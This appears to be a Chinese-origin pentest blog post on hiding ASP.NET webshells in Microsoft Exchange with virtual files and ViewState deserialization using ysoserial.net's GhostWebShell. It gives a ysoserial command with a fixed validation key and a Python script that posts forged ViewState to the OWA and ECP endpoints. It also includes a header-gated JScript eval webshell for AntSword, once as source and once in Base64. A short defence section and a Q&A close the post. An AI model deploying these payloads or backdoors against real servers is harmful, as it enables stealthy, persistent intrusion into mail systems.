Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files

Onedaysec
5 min read
0 views
Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files — One Day Sec default thumbnail

0x00 Preface

---

Using ASP.NET's VirtualPathProvider class, virtual files can be created to achieve the following effect: the virtual file does not exist in the server's file system but can be dynamically compiled and accessed. ysoserial.net's GhostWebShell.cs provides an exploitable approach for learning purposes.

This article will introduce the exploitation methods of virtual files, building on ysoserial.net's GhostWebShell.cs to discuss exploitation techniques in Exchange environments, including open-source code, detailed records, and defensive recommendations.

0x01 Introduction

---

This article will cover the following topics:

  • Exploitation of VirtualPathProvider in Exchange
  • Exploitation of DotNet Deserialization in Exchange
  • Defensive Detection

0x02 Exploitation of VirtualPathProvider in Exchange

---

References:

https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

In implementation, it is necessary to inherit the VirtualPathProvider class and override two methods: FileExists and GetFile. After registering the VirtualPathProvider and creating an instance, implement the creation of virtual files.

Example code:

<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>

Note:

Code from https://kernel32.org/posts/evading-anti-virus-by-using-dynamic-code-generation-and-reflection/

Tested on Exchange as follows:

Save location: %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\test1.aspx

Access URL: https:///owa/auth/test1.aspx/deferred.aspx, returns: Compiled on the fly :), virtual file successfully accessed

Note:

Accessible path for virtual file: https:///owa/auth/test1.aspx/

When creating virtual files, compilation files are generated in the temporary directory, default location: C:\Windows\Microsoft.NET\Framework64|Framework\\Temporary ASP.NET Files\owa\\\

File name: test1.aspx..compiled

If the original file test1.aspx is deleted, the virtual file will also become invalid and inaccessible.

Although this method of implementing a Webshell can hide the real file content, it relies on the file, making it easy to remove and lacking sufficient stealth.

Using ysoserial.net's GhostWebShell.cs precisely solves this problem and improves stealth.

0x03 Exploitation of DotNet Deserialization

---

Reference code:

https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

Test environment:

Obtained Exchange file read/write permissions, enabling modification of %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config, setting the machineKey content as follows:

For .Net deserialization command execution at these two locations, valid user credentials are no longer required.

Here, %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx is selected, with the corresponding generator being 042A94E8.

The parameters for generating ViewState using ysoserial.net are as follows:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

Send ViewState using the following code:

# encoding: UTF-8
import requests
import re
import sys
import os
import json
import urllib3
urllib3.disable_warnings()

from urllib.parse import quote
import urllib.parse

if __name__ == '__main__':
if len(sys.argv)!=4:
note = '''
Usage:

: owa or ecp

eg.
{0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
{1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
'''
print(note.format(sys.argv[0],sys.argv[0]))
sys.exit(0)
else:
targeturl = "";
generator = "";
try:
if sys.argv[3] == "owa":
targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
generator = "042A94E8";

elif sys.argv[3] == "ecp":
targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
generator = "277B1C2A";
else:
print("[!] Wrong input");

print("[*] TargetURL: " + targeturl)

out_payload = ""

body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
postData = urllib.parse.urlencode(body).encode("utf-8")

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
"Content-Type":"application/x-www-form-urlencoded"
}
status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)

print(status.status_code)
print(status.headers)
print(status.text)

except Exception as e:
print("[!] Error:%s"%(e))
exit(0)

Access https:///owa/auth/fakepath31337/.aspx, returns: This is the attacker's file - running on the server if this 1337 is 1337., virtual file successfully accessed

This method does not rely on files, improving stealth

Next, modify GhostWebShell.cs to implement webshell functionality

Set virtual directory as root directory, example access URL: https:///owa/auth/.aspx

To avoid accidental access, add access conditions with Header validation, redirect to error page errorFE.aspx if conditions not met

One-line test code:

<%@ Page Language="Jscript"%><%
if(Request.Headers["Value"]=="00HGAT3K0AXHV2RF2W0G")
{
eval(Request.Item["antsword"],"unsafe");
}
else
{
Response.Redirect("/owa/auth/errorFE.aspx?httpCode=404");
}
%>

When connecting with AntSword, you need to set the HTTP HEADERS as follows:

Name: Value
Value: 00HGAT3K0AXHV2RF2W0G

The Base64-encoded string is: PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=

Replace the webshellContentsBase64 in GhostWebShell.cs

The complete Python implementation code has been uploaded to GitHub at the following address:

An open-source project

The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx. It can automatically generate GhostWebShell.cs with webshell functionality, using ysoserial.net to generate ViewState and send it.

The complete C# implementation code has been uploaded to GitHub at the following address:

An open-source project

The code functionality is the same as above, can be directly compiled and executed, no longer dependent on ysoserial.net

Note:

To facilitate testing under Exchange, I modified GhostWebShell.cs into an aspx file, which can be directly accessed for testing. The code address is as follows:

An open-source project

0x04 Defense Detection

---

ASP.NET Webshell created using virtual files, no longer requires writing aspx files. For defense, monitor compilation files generated in the temporary directory, default location: C:\Windows\Microsoft.NET\Framework64|Framework\\Temporary ASP.NET Files\owa\\\

It should be noted that attackers can delete the compilation files after generating them

0x05 Summary

---

This article introduces the exploitation methods of virtual files, targeting the Exchange environment, covering the use of VirtualPathProvider and DotNet deserialization, and provides defense recommendations.

Related Questions & Answers

How can the hidden webshell be accessed and controlled, and what defensive measures can detect it?

The hidden webshell is accessed via a virtual path that doesn't correspond to any physical file—for example, `https://target/owa/auth/fakepath31337/shell.aspx`. To avoid accidental detection, the webshell may require a custom HTTP header (e.g., `Value: 00HGAT3K0AXHV2RF2W0G`) before executing commands, redirecting unauthorized requests to a legitimate error page. Defenders can monitor for unexpected `ViewState` generators, abnormal temporary compilation files (`.compiled` files in `Temporary ASP.NET Files`), or unusual `VirtualPathProvider` registrations via runtime logging. Additionally, reviewing `web.config` for tampered `machineKey` values and restricting file write permissions are key preventive measures. For related techniques, see [Implanting Backdoors into DLL Files Using BDF](/news/implanting-backdoors-into-dll-files-using-bdf) and [Penetration Techniques - 'Fileless' Implementation Using Virtual Disks](/news/penetration-techniques-fileless-implementation-using-virtual-disks).

What role does the machineKey play in exploiting deserialization for virtual file deployment in Exchange?

The `machineKey` in ASP.NET is used to validate and encrypt `ViewState` data. By gaining write access to Exchange's `web.config` files, an attacker can replace the legitimate `machineKey` with a known value. This allows them to forge a malicious `ViewState` payload that, when deserialized on the server, executes arbitrary code—such as registering a virtual file provider to deploy a webshell. Without the correct `machineKey`, the `ViewState` would be rejected during validation, so compromising the key is a critical step in the attack chain.

How can an attacker combine deserialization with virtual files in an Exchange environment to gain persistent access?

An attacker with file write permissions can modify Exchange's `web.config` files (e.g., in `owa` or `ecp` directories) to set a known `machineKey` and `validationKey`. They then use a tool like `ysoserial.net` to generate a malicious `ViewState` payload targeting a vulnerable page (e.g., `errorFE.aspx`). When the `ViewState` is posted, it triggers .NET deserialization that registers a custom `VirtualPathProvider` and creates a virtual webshell—all without writing any new files to disk. The webshell can then be accessed via a unique virtual path like `/owa/auth/fakepath31337/` followed by an extension, as detailed in the original [Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files](/news/penetration-techniques-hiding-asp-net-webshells-using-virtual-files) article.

How does GhostWebShell from ysoserial.net improve upon the basic virtual file webshell?

GhostWebShell eliminates the dependency on a physical trigger file by combining the virtual file technique with .NET deserialization. Instead of relying on a real `.aspx` file, it uses a crafted `ViewState` payload (via a known `machineKey`) to trigger the creation of the virtual path provider and the webshell during the page lifecycle. This makes the webshell completely fileless on disk—the virtual file is created in memory—significantly increasing stealth. The approach is particularly effective in Exchange environments where attackers can modify `web.config` to set a known `machineKey` for deserialization.

What are virtual files in ASP.NET and how can they be used to hide a webshell?

Virtual files in ASP.NET are created using the `VirtualPathProvider` class, which allows a file to be dynamically compiled and accessed even though it doesn't physically exist on the server's file system. By overriding the `FileExists` and `GetFile` methods, an attacker can serve malicious ASP.NET code on demand, effectively hiding the webshell's content. However, this method still depends on a physical file (e.g., `test1.aspx`) to trigger the virtual path, making it less stealthy on its own. For a deeper dive into the technique, see the original article on [Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files](/news/penetration-techniques-hiding-asp-net-webshells-using-virtual-files).

Continue Reading